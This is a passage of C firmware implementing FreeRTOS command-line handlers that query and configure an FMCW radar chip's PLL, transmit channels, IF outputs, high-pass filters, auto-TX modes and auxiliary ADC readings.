strncat(pcWriteBuffer, readBack, readBackLen);
}
} else {
/* no parameter: get fmcw parameters */
readBackLen = sprintf(readBack, "\r\n get fmcw parameters \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " fmcw mode - predefine\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " start frequency - %.2f GHz\r\n", cfg->fmcw_startfreq);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " bandwidth - %.2f MHz\r\n", cfg->fmcw_bandwidth);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " chirp up time - %.2f us\r\n", cfg->fmcw_chirp_rampup);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " chirp down time - %.2f us\r\n", cfg->fmcw_chirp_down);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " chirp period time - %.2f us\r\n", cfg->fmcw_chirp_period);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, "\r\n get fmcw registers\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " start - 0x%x\r\n", radio->start_freq);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " stop - 0x%x\r\n", radio->stop_freq);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " step_up - 0x%x\r\n", radio->step_up);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " step_down - 0x%x\r\n", radio->step_down);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " cnt_wait - 0x%x\r\n", radio->cnt_wait);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, "\r\n get fmcw cycles\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " up_cycle - %d\r\n", radio->up_cycle);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " down_cycle - %d\r\n", radio->down_cycle);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " wait_cycle - %d\r\n", radio->wait_cycle);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " total_cycle - %d\r\n", radio->total_cycle);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " samp_skip_cycle - %d\r\n", (1 + baseband_read_reg(&bb->bb_hw, BB_REG_SYS_SIZE_RNG_SKP)));
strncat(pcWriteBuffer, readBack, readBackLen);
}
/* display info */
readBackLen = sprintf(readBack, "\r\nradio_fmcw done\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
/* return */
/* There is only a single line of output produced in all cases. pdFALSE is
returned because there is no more output to be generated. */
return pdFALSE;
}
/* radio pll *****************************************************************/
/*
* command : radio_pll
* parameter : <NA> - get reference pll and fmcw pll lock status
* <fmcwlock> - fmcw pll lock
*
*/
static const CLI_Command_Definition_t xRadioPll = {
"radio_pll", /* The command string to type. */
"\r\nradio_pll \r\n"
"\t <NA> - get reference pll and fmcw pll lock status\r\n"
"\t <fmcwlock> - fmcw pll lock\r\n",
radioPllCommand, /* The function to run. */
-1 /* Up to 1 commands. */
};
static BaseType_t radioPllCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
const char *pcParameter1;
BaseType_t xParameter1StringLength;
char pll_param[10];
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* obtain the parameter. */
pcParameter1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &xParameter1StringLength);
if(pcParameter1 != NULL){
/* one parameters: pll lock */
strncpy ( pll_param, pcParameter1, xParameter1StringLength);
if(strncmp(pll_param, "fmcwlock", sizeof("fmcwlock") - 1) == 0) {
if (fmcw_radio_is_pll_locked(NULL)){
readBackLen = sprintf(readBack, "\r\n fmcw pll is locked \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n fmcw pll is unlocked \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else {
readBackLen = sprintf(readBack, "\r\n pll parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else {
/* no parameter: check lock status */
if (fmcw_radio_is_refpll_locked(NULL)) {
readBackLen = sprintf(readBack, "\r\n reference pll is locked \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n reference pll is unlocked \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
if (fmcw_radio_is_pll_locked(NULL)) {
readBackLen = sprintf(readBack, " fmcw pll is locked \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, " fmcw pll is unlocked \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
}
/* display info */
readBackLen = sprintf(readBack, "\r\nradio_pll done\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
/* return */
/* There is only a single line of output produced in all cases. pdFALSE is
returned because there is no more output to be generated. */
return pdFALSE;
}
/* radio vctrl output ********************************************************/
/*
* command : radio_vctrl
* parameter : <on/off> enable / disable vctrl output signal
*
*/
static const CLI_Command_Definition_t xRadioVctrl = {
"radio_vctrl", /* The command string to type. */
"\r\nradio_vctrl \r\n"
"\t <on/off> enable / disable vctrl output signal\r\n",
radioVctrlCommand, /* The function to run. */
1 /* 1 commands. */
};
static BaseType_t radioVctrlCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
const char *pcParameter1;
BaseType_t xParameter1StringLength;
char vctrl_param[3];
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* obtain the parameter. */
pcParameter1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &xParameter1StringLength);
if(pcParameter1 != NULL){
/* one parameters: vctrl on / off */
strncpy ( vctrl_param, pcParameter1, xParameter1StringLength);
if(strncmp(vctrl_param, "on", sizeof("on") - 1) == 0) {
fmcw_radio_vctrl_on(NULL);
readBackLen = sprintf(readBack, "\r\n vctrl enable\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else if(strncmp(vctrl_param, "off", sizeof("off") - 1) == 0) {
fmcw_radio_vctrl_off(NULL);
readBackLen = sprintf(readBack, "\r\n vctrl enable\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n vctrl parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else {
readBackLen = sprintf(readBack, "\r\n vctrl parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
/* display info */
readBackLen = sprintf(readBack, "\r\nradio_vctrl done\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
/* return */
/* There is only a single line of output produced in all cases. pdFALSE is
returned because there is no more output to be generated. */
return pdFALSE;
}
/* radio IF signal output ****************************************************/
/*
* command : radio_ifout
* parameter : <on/off> - enable or disable to all channel
* <on/off> <ch_index> - enable or disable index to channel index
*
* note : channel index - 0 / 1 / 2 / 3
*
*/
static const CLI_Command_Definition_t xRadioIfout = {
"radio_ifout", /* The command string to type. */
"\r\nradio_ifout \r\n"
"\t <on/off> - enable or disable to all channel\r\n"
"\t <on/off> <ch_index> - enable or disable index to channel index\r\n",
radioIfoutCommand, /* The function to run. */
-1 /* Up to 2 commands. */
};
static BaseType_t radioIfoutCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
const char *pcParameter1, *pcParameter2;
BaseType_t xParameter1StringLength, xParameter2StringLength;
char ifout_param[10];
unsigned int channel;
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* obtain the parameter. */
pcParameter1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &xParameter1StringLength);
pcParameter2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &xParameter2StringLength);
if(pcParameter1 != NULL && pcParameter2 != NULL){
/* two parameters: IF output for single channel */
strncpy ( ifout_param, pcParameter1, xParameter1StringLength);
channel = (unsigned int) strtol(pcParameter2, NULL, 10);
if(strncmp(ifout_param, "on", sizeof("on") - 1) == 0) {
fmcw_radio_if_output_on(NULL, channel);
readBackLen = sprintf(readBack, "\r\n CH-%d IF output enbale\r\n", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
} else if(strncmp(ifout_param, "off", sizeof("off") - 1) == 0) {
fmcw_radio_if_output_off(NULL, channel);
readBackLen = sprintf(readBack, "\r\n CH-%d IF output disable\r\n", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n radio_ifout 2 parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else if(pcParameter1 != NULL && pcParameter2 == NULL) {
/* one parameters: IF output for all channel */
strncpy ( ifout_param, pcParameter1, xParameter1StringLength);
if(strncmp(ifout_param, "on", sizeof("on") - 1) == 0) {
fmcw_radio_if_output_on(NULL, -1);
readBackLen = sprintf(readBack, "\r\n IF output enbale for all channel\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else if(strncmp(ifout_param, "off", sizeof("off") - 1) == 0) {
fmcw_radio_if_output_off(NULL, -1);
readBackLen = sprintf(readBack, "\r\n IF output disable for all channel\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n radio_ifout 1 parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else {
readBackLen = sprintf(readBack, "\r\n ifout parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
/* display info */
readBackLen = sprintf(readBack, "\r\nradio_ifout done\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
/* return */
/* There is only a single line of output produced in all cases. pdFALSE is
returned because there is no more output to be generated. */
return pdFALSE;
}
/* radio tx switch ***********************************************************/
/*
* command : radio_tx
* parameter : <on/off> - enable or disable to all tx channel
* <on/off> <ch_index> - enable or disable index to tx channel index
*
* note : channel index - 0 / 1 / 2 / 3
*
*/
static const CLI_Command_Definition_t xRadioTx = {
"radio_tx", /* The command string to type. */
"\r\nradio_tx \r\n"
"\t <on/off> - enable or disable to all tx channel\r\n"
"\t <on/off> <ch_index> - enable or disable index to tx channel index\r\n",
radioTxCommand, /* The function to run. */
-1 /* Up to 2 commands. */
};
static BaseType_t radioTxCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
const char *pcParameter1, *pcParameter2;
BaseType_t xParameter1StringLength, xParameter2StringLength;
char tx_param[10];
unsigned int channel;
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* obtain the parameter. */
pcParameter1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &xParameter1StringLength);
pcParameter2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &xParameter2StringLength);
if(pcParameter1 != NULL && pcParameter2 != NULL){
/* two parameters: IF output for single channel */
strncpy ( tx_param, pcParameter1, xParameter1StringLength);
channel = (unsigned int) strtol(pcParameter2, NULL, 10);
if(strncmp(tx_param, "on", sizeof("on") - 1) == 0) {
fmcw_radio_tx_ch_on(NULL, channel, true);
readBackLen = sprintf(readBack, "\r\n TX-%d enbale\r\n", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
} else if(strncmp(tx_param, "off", sizeof("off") - 1) == 0) {
fmcw_radio_tx_ch_on(NULL, channel, false);
readBackLen = sprintf(readBack, "\r\n TX-%d disable\r\n", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n radio_tx 2 parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else if(pcParameter1 != NULL && pcParameter2 == NULL) {
/* one parameters: IF output for all channel */
strncpy ( tx_param, pcParameter1, xParameter1StringLength);
if(strncmp(tx_param, "on", sizeof("on") - 1) == 0) {
fmcw_radio_tx_ch_on(NULL, -1, true);
readBackLen = sprintf(readBack, "\r\n All tx channel enable\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else if(strncmp(tx_param, "off", sizeof("off") - 1) == 0) {
fmcw_radio_tx_ch_on(NULL, -1, false);
readBackLen = sprintf(readBack, "\r\n All tx channel disable\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n radio_tx 1 parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else {
readBackLen = sprintf(readBack, "\r\n tx parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
/* display info */
readBackLen = sprintf(readBack, "\r\nradio_tx done\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
/* return */
/* There is only a single line of output produced in all cases. pdFALSE is
returned because there is no more output to be generated. */
return pdFALSE;
}
/* radio single tone *****************************************************************/
/*
* command : radio_single_tone
* parameter : <start frequency> - in GHz
*
*/
static const CLI_Command_Definition_t xRadioSingleTone = {
"radio_single_tone", /* The command string to type. */
"\tradio_single_tone \r\n"
"\tUsage: <frequency GHz> <on/off>\r\n",
radioSingleToneCommand, /* The function to run. */
-1 /* 1 command parameter. */
};
static BaseType_t radioSingleToneCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
const char *pcParameter1, *pcParameter2;
BaseType_t len1, len2;
double freq;
int32_t status;
bool enable = true;
baseband_t *bb = baseband_get_bb(0);
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* obtain the parameter. */
pcParameter1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
pcParameter2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
if(pcParameter1 != NULL){
/* one parameters: generate single tone */
freq = (double) strtod(pcParameter1, NULL);
if (strncmp(pcParameter2, "off", sizeof("off") - 1) == 0)
enable = false;
else
enable = true;
status = fmcw_radio_single_tone(&bb->radio, freq, enable);
if (status != E_OK) {
readBackLen = sprintf(readBack, " radio_single_tone pll unlocked! \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else {
/* no parameter */
readBackLen = sprintf(readBack, " radio_single_tone parameter error \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
print_help(pcWriteBuffer, xWriteBufferLen, &xRadioSingleTone);
}
/* display info */
if (enable == true)
readBackLen = sprintf(readBack, "\r\n radio_single_tone on\r\n");
else
readBackLen = sprintf(readBack, "\r\n radio_single_tone off\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
/* return */
/* There is only a single line of output produced in all cases. pdFALSE is
returned because there is no more output to be generated. */
return pdFALSE;
}
/* radio highpass filter *******************************************************/
/*
* command : radio_hpf
* parameter : <NA> - get highpass filter of all channel
* <filter_id> <filter_index> - set filter_index to each channel's filter_id
* <ch_index> <filter_id> <filter_index> - set filter_index to ch_index's filter_id
*
* note : HPF1_200KHz : 0x1 HPF2_1MHz : 0x0
* HPF1_150KHz : 0x2 HPF2_750KHz : 0x1
* HPF1_120KHz : 0x3 HPF2_600KHz : 0x2
* HPF1_100KHz : 0x4 HPF2_500KHz : 0x3
* HPF1_85KHz : 0x5 HPF2_425KHz : 0x4
* HPF1_75KHz : 0x6 HPF2_375KHz : 0x5
* HPF1_12KHz : 0x7 HPF2_333KHz : 0x6
*
*/
static const CLI_Command_Definition_t xRadioHpf = {
"radio_hpf", /* The command string to type. */
"\r\nradio_hpf \r\n"
"\t <NA> - get highpass filter of all channel\r\n"
"\t <filter_id> <filter_index> - set filter_index to each channel's filter_id\r\n"
"\t <ch_index> <filter_id> <filter_index> - set filter_index to ch_index's filter_id\r\n",
radioHpfCommand, /* The function to run. */
-1 /* Up to 3 commands. */
};
static BaseType_t radioHpfCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
const char *pcParameter1, *pcParameter2, *pcParameter3;
BaseType_t xParameter1StringLength, xParameter2StringLength, xParameter3StringLength;
int ch_index, filter_id, filter_index;
sensor_config_t *cfg = sensor_config_get_config(0);
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* obtain the parameter. */
pcParameter1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &xParameter1StringLength);
pcParameter2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &xParameter2StringLength);
pcParameter3 = FreeRTOS_CLIGetParameter(pcCommandString, 3, &xParameter3StringLength);
if(pcParameter1 != NULL && pcParameter2 != NULL && pcParameter3 != NULL){
/* three parameters: set highpass filter */
ch_index = (int)strtol(pcParameter1, NULL, 10);
filter_id = (int)strtol(pcParameter2, NULL, 10);
filter_index = (int)strtol(pcParameter3, NULL, 10);
if (filter_id==1){
fmcw_radio_set_hpf1(NULL, ch_index, filter_index);
cfg->rf_hpf1 = filter_index;
if (ch_index == -1)
readBackLen = sprintf(readBack, "\r\n set %d to all channels' HPF1\r\n",
filter_index);
else
readBackLen = sprintf(readBack, "\r\n set %d to channel %d's HPF1\r\n",
filter_index, ch_index);
strncat(pcWriteBuffer, readBack, readBackLen);
} else if (filter_id==2){
fmcw_radio_set_hpf2(NULL, ch_index, filter_index);
cfg->rf_hpf2 = filter_index;
if (ch_index == -1)
readBackLen = sprintf(readBack, "\r\n set %d to all channels' HPF2\r\n",
filter_index);
else
readBackLen = sprintf(readBack, "\r\n set %d to channel %d's HPF2\r\n",
filter_index, ch_index);
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &xRadioHpf);
}
} else if(pcParameter1 != NULL && pcParameter2 != NULL) {
/* two parameters: set highpass filter */
filter_id = (int)strtol(pcParameter1, NULL, 10);
filter_index = (int)strtol(pcParameter2, NULL, 10);
if (filter_id==1){
fmcw_radio_set_hpf1(NULL, -1, filter_index);
cfg->rf_hpf1 = filter_index;
readBackLen = sprintf(readBack, "\r\n set %d to all channels' HPF1\r\n",
filter_index);
strncat(pcWriteBuffer, readBack, readBackLen);
} else if (filter_id==2){
fmcw_radio_set_hpf2(NULL, -1, filter_index);
cfg->rf_hpf2 = filter_index;
readBackLen = sprintf(readBack, "\r\n set %d to all channels' HPF2\r\n",
filter_index);
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &xRadioHpf);
}
} else if(pcParameter1 == NULL && pcParameter2 == NULL && pcParameter2 == NULL) {
/* no parameters: set highpass filter */
int filter_index, channel;
for (channel = 0; channel < MAX_NUM_TX; channel++){
filter_index = fmcw_radio_get_hpf1(NULL, channel);
readBackLen = sprintf(readBack, " CH%d HPF1 %d ", channel, filter_index);
strncat(pcWriteBuffer, readBack, readBackLen);
filter_index = fmcw_radio_get_hpf2(NULL, channel);
readBackLen = sprintf(readBack, "HPF2 %d\r\n", filter_index);
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else {
/* one parameter: error */
print_help(pcWriteBuffer, xWriteBufferLen, &xRadioHpf);
}
/* display info */
readBackLen = sprintf(readBack, "\r\nradio_hpf done\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
/* return */
/* There is only a single line of output produced in all cases. pdFALSE is
returned because there is no more output to be generated. */
return pdFALSE;
}
/* radio hp12 auto switch ***********************************************************/
/*
* command : radio_hpa
* parameter : <on/off> - enable or disable to all hp auto channel
* <on/off> <ch_index> - enable or disable index to hp auto channel index
*
* note : channel index - 0 / 1 / 2 / 3
*
*/
static const CLI_Command_Definition_t xRadioHpa = {
"radio_hpa", /* The command string to type. */
"\r\nradio_hpa \r\n"
"\t <on/off> - enable or disable to all hp auto channel\r\n"
"\t <on/off> <ch_index> - enable or disable index to hp auto channel index\r\n",
radioHpaCommand, /* The function to run. */
-1 /* Up to 2 commands. */
};
static BaseType_t radioHpaCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
const char *pcParameter1, *pcParameter2;
BaseType_t xParameter1StringLength, xParameter2StringLength;
char hpa_param[10];
unsigned int channel;
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* obtain the parameter. */
pcParameter1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &xParameter1StringLength);
pcParameter2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &xParameter2StringLength);
if(pcParameter1 != NULL && pcParameter2 != NULL){
/* two parameters: for single channel */
strncpy ( hpa_param, pcParameter1, xParameter1StringLength);
channel = (unsigned int) strtol(pcParameter2, NULL, 10);
if(strncmp(hpa_param, "on", sizeof("on") - 1) == 0) {
fmcw_radio_hp_auto_ch_on(NULL, channel);
readBackLen = sprintf(readBack, "\r\n HP Auto-%d enbale\r\n", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
} else if(strncmp(hpa_param, "off", sizeof("off") - 1) == 0) {
fmcw_radio_hp_auto_ch_off(NULL, channel);
readBackLen = sprintf(readBack, "\r\n HP Auto-%d disable\r\n", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n radio_hpa 2 parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else if(pcParameter1 != NULL && pcParameter2 == NULL) {
/* one parameters: for all channel */
strncpy ( hpa_param, pcParameter1, xParameter1StringLength);
if(strncmp(hpa_param, "on", sizeof("on") - 1) == 0) {
fmcw_radio_hp_auto_ch_on(NULL, -1);
readBackLen = sprintf(readBack, "\r\n All hp auto channel enable\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else if(strncmp(hpa_param, "off", sizeof("off") - 1) == 0) {
fmcw_radio_hp_auto_ch_off(NULL, -1);
readBackLen = sprintf(readBack, "\r\n All hp auto channel disable\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n radio_hpa 1 parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else {
readBackLen = sprintf(readBack, "\r\n hpa parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
/* display info */
readBackLen = sprintf(readBack, "\r\nradio_hpa done\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
/* return */
/* There is only a single line of output produced in all cases. pdFALSE is
returned because there is no more output to be generated. */
return pdFALSE;
}
/* radio tx auto switch ***********************************************************/
/*
* command : radio_autotx
* parameter : <on/off> <ch_index> <mode_sel> - enable or disable index to tx auto channel index
*
* note : channel index - 0 / 1 / 2 / 3 /-1(all channel)
* auto tx mode selection
* 0000 = idle start, down and idle state
* 0001 = idle start and down state
* 0010 = idle start and idle state
* 0011 = idle start state
* 0100 = down and idle state
* 0101 = down state
* 0110 = idle state
* 0111 = off
* 1111 = no mode selected, keep old mode
* enable: 0x1--on, 0x0--off
*/
static const CLI_Command_Definition_t xRadioAutoTX = {
"radio_autotx", /* The command string to type. */
"\r\nradio_autotx \r\n"
"\t <on/off> <ch_index> <mode_sel> - enable or disable index to tx auto channel index\r\n"
"\t <ch_index> - 0 / 1 / 2 / 3 / -1(all channel)\r\n"
"\t <mode_sel> - 0(idle start, dn, idle)/1(idle start, dn)/2(idle start, idle)/3(idle start)"
"/4(dn, idle)/5(dn)/6(idle)/7(off)/15(keep old mode)\r\n",
radioAutoTXCommand, /* The function to run. */
-1 /* Up to 3 commands. */
};
static BaseType_t radioAutoTXCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
const char *pcParameter1, *pcParameter2, *pcParameter3;
BaseType_t xParameter1StringLength, xParameter2StringLength, xParameter3StringLength;
char autotx_param[10];
unsigned int channel, mode_sel;
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* obtain the parameter. */
pcParameter1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &xParameter1StringLength);
pcParameter2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &xParameter2StringLength);
pcParameter3 = FreeRTOS_CLIGetParameter(pcCommandString, 3, &xParameter3StringLength);
if(pcParameter1 != NULL && pcParameter2 != NULL && pcParameter3 != NULL){
/* three parameters: get tx auto mode selection*/
strncpy ( autotx_param, pcParameter1, xParameter1StringLength);
channel = (unsigned int) strtol(pcParameter2, NULL, 10);
mode_sel = (unsigned int) strtol(pcParameter3, NULL, 10);
if(strncmp(autotx_param, "on", sizeof("on") - 1) == 0) {
fmcw_radio_tx_auto_ch_on(NULL, channel, mode_sel);
readBackLen = sprintf(readBack, "\r\n TX%d Auto enbale\r\n", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
} else if(strncmp(autotx_param, "off", sizeof("off") - 1) == 0) {
fmcw_radio_tx_auto_ch_off(NULL, channel);
readBackLen = sprintf(readBack, "\r\n TX%d Auto disable\r\n", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n radio_autotx 3 parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else if(pcParameter1 != NULL && pcParameter2 != NULL && pcParameter3 == NULL) {
/* two parameters: no tx auto mode selection*/
strncpy ( autotx_param, pcParameter1, xParameter1StringLength);
channel = (unsigned int) strtol(pcParameter2, NULL, 10);
if(strncmp(autotx_param, "on", sizeof("on") - 1) == 0) {
fmcw_radio_tx_auto_ch_on(NULL, channel, 0xf);
readBackLen = sprintf(readBack, "\r\n TX%d Auto enbale\r\n", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
} else if(strncmp(autotx_param, "off", sizeof("off") - 1) == 0) {
fmcw_radio_tx_auto_ch_off(NULL, channel);
readBackLen = sprintf(readBack, "\r\n TX%d Auto disbale\r\n", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n radio_autotx 2 parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else if(pcParameter1 != NULL && pcParameter2 == NULL && pcParameter3 == NULL) {
/* one parameters: for all channel */
strncpy ( autotx_param, pcParameter1, xParameter1StringLength);
if(strncmp(autotx_param, "on", sizeof("on") - 1) == 0) {
fmcw_radio_tx_auto_ch_on(NULL, -1, 0xf);
readBackLen = sprintf(readBack, "\r\n All tx auto channel enable\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else if(strncmp(autotx_param, "off", sizeof("off") - 1) == 0) {
fmcw_radio_tx_auto_ch_off(NULL, -1);
readBackLen = sprintf(readBack, "\r\n All tx auto channel disable\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n radio_autotx 1 parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else {
readBackLen = sprintf(readBack, "\r\n autotx parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
/* display info */
readBackLen = sprintf(readBack, "\r\nradio_autotx done\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
/* return */
/* There is only a single line of output produced in all cases. pdFALSE is
returned because there is no more output to be generated. */
return pdFALSE;
}
/* radio auxadc1 voltage *********************************************************/
/*
* command : radio_auxadc1_voltage
* parameter : <inputmux selection> - get selected auxadc1 voltage of radio
*
* note : AUXADC1_MainBG_VPTAT: 0
* AUXADC1_TestMUXN: 1
* AUXADC1_TestMUXP: 2
* AUXADC1_TPANA1: 3
*/
static const CLI_Command_Definition_t xRadioAUXADC1Voltage = {
"radio_auxadc1_voltage", /* The command string to type. */
"\r\nradio_auxadc1_voltage\r\n"
"\t <muxin_sel> - get selected auxadc1 voltage of radio\r\n"
"\t selection - 0(MainBG_VPTAT) / 1(TestMUXN) / 2(TestMUXP) / 3(TPANA1)\r\n",
radioAUXADC1VoltageCommand, /* The function to run. */
-1 /* 1 command parameter. */
};
static BaseType_t radioAUXADC1VoltageCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
const char *pcParameter1;
BaseType_t len1;
float muxin_sel;
float voltage = 0;
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* obtain the parameter. */
pcParameter1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
if(pcParameter1 != NULL){
/* one parameters: inputmux selection */
muxin_sel = (float) strtof(pcParameter1, NULL);
voltage = fmcw_radio_auxadc1_voltage(NULL,muxin_sel);
/* display info */
sprintf(pcWriteBuffer, "\r\n radio auxadc1 voltage: %.3f \r\n", voltage);
}
else{
/* no parameter */
/* display info */
sprintf(pcWriteBuffer, "\r\n please select inputmux and try again \r\n");
print_help(pcWriteBuffer, xWriteBufferLen, &xRadioAUXADC1Voltage);
}
/* return */
return pdFALSE;
}
/* radio auxadc2 voltage *********************************************************/
/*
* command : radio_auxadc2_voltage
* parameter : <inputmux selection> - get selected auxadc2 voltage of radio
*
* note : AUXADC2_TS_VPTAT: 0
* AUXADC2_TS_VBG: 1
* AUXADC2_TestMUXN: 2
* AUXADC2_TPANA2: 3
*/
static const CLI_Command_Definition_t xRadioAUXADC2Voltage = {
"radio_auxadc2_voltage", /* The command string to type. */
"\r\nradio_auxadc2_voltage\r\n"
"\t <muxin_sel> - get selected auxadc2 voltage of radio\r\n"
"\t selection - 0(TS_VPTAT) / 1(TS_VBG) / 2(TestMUXN) / 3(TPANA2)\r\n",
radioAUXADC2VoltageCommand, /* The function to run. */
-1 /* 1 command parameter. */
};
static BaseType_t radioAUXADC2VoltageCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
const char *pcParameter1;
BaseType_t len1;
float muxin_sel;
float voltage = 0;
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* obtain the parameter. */
pcParameter1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
if(pcParameter1 != NULL){
/* one parameters: inputmux selection */
